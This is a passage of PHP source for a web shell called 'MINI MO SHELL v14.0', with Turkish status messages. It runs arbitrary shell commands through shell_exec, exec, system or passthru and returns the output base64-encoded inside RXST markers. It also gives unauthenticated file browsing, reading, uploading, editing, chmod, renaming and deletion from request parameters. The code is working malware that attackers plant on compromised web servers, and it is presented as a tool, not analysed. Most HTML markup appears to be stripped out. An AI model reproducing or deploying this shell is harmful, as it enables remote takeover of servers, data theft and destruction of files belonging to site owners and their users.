&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
else{$o='BLOCKED';}
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit;
}
// === MINI MO SHELL - FILE MANAGER ===
$current_path = (isset($_GET["path"])) ? $_GET["path"] : getcwd();
$current_path = str_replace("\\", "/", $current_path);
$path_parts = explode("/", $current_path);
echo "\n\n
\n";
echo "\n";
echo "MINI MO Shell - Tarihli\n";
echo "\n\n\n";
// RXST Verify Banner
$verify = 'RXST:'.base64_encode('MATHOK:195780').':RXEND';
echo "VERIFY: ".$verify."
";
echo "MINI MINI MANI MO - FILE MANAGER
\n";
// Path Gezinti
echo "\n| Path : ";
foreach ($path_parts as $index => $part) {
if ($part == "" && $index == 0) {
echo "/";
continue;
}
if ($part == "") continue;
echo "$part/";
}
echo " |
\n";
// Upload Form
echo "";
if (isset($_FILES["file"])) {
if (copy($_FILES["file"]["tmp_name"], $current_path . "/" . $_FILES["file"]["name"])) {
echo "[+] Upload Başarılı: ".$_FILES["file"]["name"]." ";
} else {
echo "[-] Upload Başarısız ";
}
}
echo "\n";
echo " |
\n";
// Command Box
echo " |
\n";
// Dosya İşlemleri
if (isset($_GET["filesrc"])) {
echo "| Current File : " . $_GET["filesrc"] . " |
";
echo ("" . htmlspecialchars(file_get_contents($_GET["filesrc"])) . "
");
} elseif (isset($_GET["option"]) && $_POST["opt"] != "delete") {
echo "
" . $_POST["path"] . "
";
if ($_POST["opt"] == "chmod") {
if (isset($_POST["perm"])) {
if (chmod($_POST["path"], $_POST["perm"])) {
echo "[+] Change Permission Başarılı
";
} else {
echo "[-] Change Permission Başarısız
";
}
}
echo "";
} elseif ($_POST["opt"] == "rename") {
if (isset($_POST["newname"])) {
if (rename($_POST["path"], dirname($_POST["path"]) . "/" . $_POST["newname"])) {
echo "[+] Rename Başarılı
";
} else {
echo "[-] Rename Başarısız
";
}
$_POST["name"] = $_POST["newname"];
}
echo "";
} elseif ($_POST["opt"] == "edit") {
if (isset($_POST["src"])) {
$fp = fopen($_POST["path"], "w");
if (fwrite($fp, $_POST["src"])) {
echo "[+] Edit Başarılı
";
} else {
echo "[-] Edit Başarısız
";
}
fclose($fp);
}
echo "";
}
echo "";
} else {
// Silme İşlemi
if (isset($_GET["option"]) && $_POST["opt"] == "delete") {
if ($_POST["type"] == "dir") {
if (rmdir($_POST["path"])) {
echo "[+] Directory Silindi
";
} else {
echo "[-] Directory Silinemedi
";
}
} elseif ($_POST["type"] == "file") {
if (unlink($_POST["path"])) {
echo "[+] File Silindi
";
} else {
echo "[-] File Silinemedi
";
}
}
}
// Dizin Listeleme
if (function_exists("opendir")) {
$handle = opendir($current_path);
if ($handle) {
$scan = array();
while (($file = readdir($handle)) !== false) {
$scan[] = $file;
}
closedir($handle);
sort($scan);
}
} else {
$scan = scandir($current_path);
}
echo "\n";
}
echo "
MINI MO SHELL v14.0 | Tarih: " . date("Y-m-d H:i:s") . " | RXST: ".$verify."\n\n";
function perms($file) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) { $info = 's'; }
elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
else { $info = 'u'; }
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>